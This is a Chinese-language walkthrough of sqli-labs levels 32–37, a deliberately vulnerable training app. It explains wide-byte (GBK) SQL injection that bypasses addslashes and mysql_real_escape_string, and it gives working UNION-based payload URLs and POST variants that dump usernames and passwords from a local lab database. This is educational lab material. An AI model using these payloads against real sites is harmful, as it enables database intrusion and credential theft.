Less-32

前置基础知识:宽字节注入

参考链接:

https://blog.csdn.net/helloc0de/article/details/76180190

https://blog.csdn.net/heiseweiye/article/details/82723478

宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

中文、韩文、日文等均存在宽字节,英文默认都是一个字节。

在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk”时会导致一个编码转换的问题。

例子: id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入

id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞

推荐解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

第一种办法:

首先还是在代码中进行输出sql语句。

可以看到是单引号进行闭合,如果输入1‘,可以看到进行了转义

我们可以进行宽字节注入,  处理 1%df\’ 进行编码  1%df%5c%27   带入sql后  id =1運’

http://192.168.0.105/sqli-labs/Less-32/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

第二种办法:%5c代表的是\,%aa%5c'会转义成%aa%5c%5c%5c%27,然后进行组合:

这样也可以实现注入,其实原理是一样的:

http://192.168.0.105/sqli-labs/Less-32/?id=0%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

less-33

到这一关结束了tomcat的关卡,我就继续用docker环境了。

我们查看源码发现这一关用了addslashes()函数,用法:https://www.w3school.com.cn/php/func_string_addslashes.asp

其实与上一关的区别就是,这一关是使用函数过滤。而上一关用的是自定义过滤。

所以,我们也可以用宽字节注入办法解决:

http://192.168.0.106:300/Less-33/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

less-34

观察代码发现也用到了adds lashes()函数,理论上我们也可以用到上面的宽字节注入。但是并不行,因为用post传入数据,会再次编码。

抓包之后的uname:uname=admin%25df%27&passwd=ad&submit=Submit

所以这一步就是多加了一个转码%25,然后改包把25删去就可以了,这就是第一种办法:改包

第二种办法:将单引号的UTF-8转换为UTF-16的单引号模式 ‘  �’

�\‘ union select 1,2#

注意,这个符号在win2003中显示是不一样的:

这样就可以构造注入语句。

这是一种比较巧妙地绕WAF。

less-35

这一关基本与上一关相同,就是没有了数据包裹,所以不用‘直接进行注入:

http://192.168.0.106:300/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

less-36

观察源码,发现与前面的区别就是使用的转义函数不一样:

mysql_real_escape_string函数(参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp)

我们同样可以用之前的宽字节注入解决:

http://192.168.0.106:300/Less-36/?id=0%df'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-37

37关与34关类似,都是post形式,区别就是转义函数的区别: mysql_real_escape_string()

所以第一种办法就是可以用34关的单引号utf-8转换为utf-16的形式:
�'union select 1,2#

可以构造语句。另外还有一点,post和get形式有区别,post形式只有两个字段所以select1,2

第二种办法:可以抓包对其进行宽字节注入

Sqli-Labs less32-37的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Ambiguous mapping found. Cannot map 'competeController' bean method

    报错: Error creating bean with name 'org.springframework.web.servlet.mvc.method.annotation.RequestMapp ...

  2. Ionic命令笔记

    Ionic命令:ionic serve 开启服务调试ionic cordova prepare android 生成android原生项目 ionic cordova run browser 打包成混 ...

  3. Python报错“UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in position 0: ordinal not in range(128)”的解决办法

    最近在用Python处理中文字符串时,报出了如下错误: UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in position 0: ...

  4. 从零搭建一个IdentityServer——资源与访问控制

    IdentityServer作为授权服务器它的最终目的是用于对资源进行管控,这里所说的资源有两种,其一是API资源,实际上也就是OIDC协议中客户端(RP)所需要访问的一系列受保护的资源(API),授 ...

  5. DEV -C++源码中的中文复制粘贴乱码解决方案

    右击源代码用记事本打开,再复制,再粘贴,就没有乱码了

  6. 详解API Gateway流控实现,揭开ROMA平台高性能秒级流控的技术细节

    摘要:ROMA平台的核心系统ROMA Connect源自华为流程IT的集成平台,在华为内部有超过15年的企业业务集成经验. 本文分享自华为云社区<ROMA集成关键技术(1)-API流控技术详解& ...

  7. ThinkPHP3.2.3使用PHPExcel类操作excel导出excel

    如何导入excel请看:ThinkPHP3.2.3使用PHPExcel类操作excel导入读取excel // 引入PHPExcel类 import("Org.Util.PHPExccel& ...

  8. 解决VS2017调试卡住的问题

    今天用VS2017调试程序时,程序没有按照预期的那样运行到断点处,并且结束调试时会卡很长时间. 那么解决方法是: 1. [Tools]-->[Options]-->[Debugging]- ...

  9. 第十三篇 -- QMainWindow与QAction(新建-打开-保存)

    效果图: 添加了三个Action,分别是新建,打开,和保存,没有具体写相应的功能,只是提供了一个接口,可以自己写相应的功能.这次不仅将这些Action放在了工具栏,还将其添加到了菜单栏.方法同样是直接 ...

  10. 【LeetCode】204.计数质数

    问题描述: 统计所有小于非负整数 n 的质数的数量. 示例: 输入: 10 输出: 4 解释: 小于 10 的质数一共有 4 个, 它们是 2, 3, 5, 7 . 这是一道简单题,但是却并没有那么直 ...